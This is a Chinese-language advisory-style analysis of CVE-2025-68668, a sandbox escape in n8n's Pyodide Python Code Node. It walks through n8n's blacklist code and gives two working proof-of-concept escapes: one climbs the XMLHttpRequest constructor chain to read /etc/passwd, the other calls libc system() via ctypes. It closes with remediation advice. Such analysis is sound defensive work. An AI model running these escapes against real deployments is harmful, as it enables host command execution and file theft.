1. 漏洞概述
随着 AI Agent 和自动化工作流(Agentic Workflow)在 2025 年的全面爆发,像n8n、Dify这样允许用户嵌入自定义代码逻辑的平台,正面临前所未有的安全挑战。
CVE-2025-68668是2026年1月最新披露的一个严重沙箱逃逸漏洞。该漏洞存在于 n8n 的 Python 代码节点(Python Code Node)中。在 n8n 1.0.0 至 2.0.0 之前的版本中,虽然引入了Pyodide(基于 WASM 的 Python 运行时)作为沙箱环境来隔离用户代码,但由于其初始化逻辑存在严重的“黑名单”设计缺陷,攻击者可以通过特定的对象引用链逃逸出虚拟环境,进而在宿主机上执行任意命令。
2. 漏洞环境与防护逻辑分析
n8n 使用Pyodide在 Node.js 环境中模拟 Python 运行。为了防止恶意操作,开发者在/nodes/Code/Pyodide.js中构建了一套防护机制。
脆弱的“黑名单”防线
在初始化 Pyodide 实例时,n8n 注入了一段 Python 脚本来禁用危险函数:
Python
# [Pyodide.js 中的防护逻辑] # 定义一个阻断函数,调用即报错 def blocked_function(*args, **kwargs): raise RuntimeError("Blocked for security reasons") # 1. 覆盖 os.system (防止命令执行) os.system = blocked_function # 2. 阻止 JS 构造函数 (防止获取 JS Function) Object.constructor.constructor = blocked_function # 3. 替换 js 模块 (防止 Python 与 JS 交互) sys.modules['js'] = blocked_module()这种防御策略存在典型的逻辑漏洞:仅封堵了已知路径,却忽略了上下文中的“漏网之鱼”。
3. 逃逸路径一:宿主对象引用污染 (Prototype Chain Pollution)
这是利用 Node.js 与 Pyodide 交互机制的经典逃逸手法。攻击者利用外部传入的宿主对象,反向推导出了宿主环境的根对象。
原理分析
在沙箱初始化时,为了支持网络请求,n8n 将宿主环境的XMLHttpRequest对象直接注入到了沙箱的全局变量jsglobals中。
JavaScript
// [Pyodide.js] const context = (0, node_vm_1.createContext)({ // ... jsglobals: { // 致命错误:将宿主环境的 XMLHttpRequest 原型暴露给了沙箱 XMLHttpRequest, // ... }, });尽管 n8n 封锁了沙箱内部对象的constructor,但它无法封锁从外部传入的XMLHttpRequest对象的原型链。
攻击利用链:
恢复模块:虽然
sys.modules['js']被替换,但通过del sys.modules['js']后重新import js,即可恢复与 JS 环境的桥接。获取跳板:访问
js.XMLHttpRequest(这是来自宿主的漏网之鱼)。原型链攀爬:
js.XMLHttpRequest是一个类(函数),在 JS 中,所有函数的构造器都是Function。因此,js.XMLHttpRequest.constructor指向的就是宿主环境的 Function 构造器。任意代码执行:拥有了宿主的
Function构造器,攻击者就可以构造new Function("return process")(),从而获得宿主的process对象,进而require('child_process')。
PoC:读取敏感文件
Python
import sys # 1. 绕过模块封锁 if 'js' in sys.modules: del sys.modules['js'] import js try: # 2. 获取宿主 Function 构造器 # 绕过 Object.constructor 限制,走 XHR -> Function 路径 HostFunction = js.XMLHttpRequest.constructor # 3. 在宿主 Node.js 环境执行代码 # 类似于在 Node.js 中执行: const real_process = (new Function("return process"))() get_process = HostFunction("return process") real_process = get_process() # 4. 加载 fs 模块读取 /etc/passwd require = real_process.mainModule.require fs = require('fs') content = fs.readFileSync('/etc/passwd', 'utf-8') return {"file_content": content} except Exception as e: return {"error": str(e)}4. 逃逸路径二:FFI 穿透 (ctypes)
如果说第一种路径是利用了 JS 互操作性的漏洞,第二种路径则是利用了 Python 语言特性对操作系统底层能力的直接调用。
原理分析
开发者只封禁了os.system。在 Python 中,os.system只是执行命令的一种方式,底层是调用 C 语言标准库(libc)。
Python 的ctypes库是一个外部函数接口(FFI)库,它允许 Python 代码直接加载动态链接库(.so/.dll)并调用其中的 C 函数。n8n 的沙箱策略完全遗漏了对ctypes的限制。
如图所示:
被封堵路径:用户 ->
os.system->blocked_function-> 拦截。逃逸路径:用户 ->
ctypes-> 加载libc.so-> 直接调用 C 语言system()-> 操作系统内核。
PoC:执行系统命令
Python
import ctypes # 1. 加载标准 C 库 (Linux/macOS 下通常能自动找到 libc) libc = ctypes.CDLL(None) # 2. 定义函数签名 libc.system.argtypes = [ctypes.c_char_p] libc.system.restype = ctypes.c_int # 3. 直接调用底层的 system 函数执行命令 # 绕过了 Python 层的所有 Hook cmd = b'echo "Pwned via ctypes" > /tmp/n8n_pwned.txt' libc.system(cmd) return {"status": "Command Executed via FFI"}5. 总结与防御
CVE-2025-68668再次印证了在应用层实现沙箱的极高难度。仅仅依赖“禁用危险函数”的黑名单策略,在现代语言丰富的反射(Reflection)和互操作(Interop)特性面前不堪一击。
修复方案
升级 n8n:请立即升级到2.0.0及以上版本。新版本重构了沙箱机制。
严格白名单:在 Pyodide 初始化时,应移除
XMLHttpRequest等所有非必要的宿主对象注入。内核级隔离:对于允许用户运行代码的 AI Agent 平台,最安全的方案不是依赖语言沙箱,而是将执行环境放入gVisor、Firecracker或无网络权限的 Docker 容器中,从操作系统层面切断逃逸路径。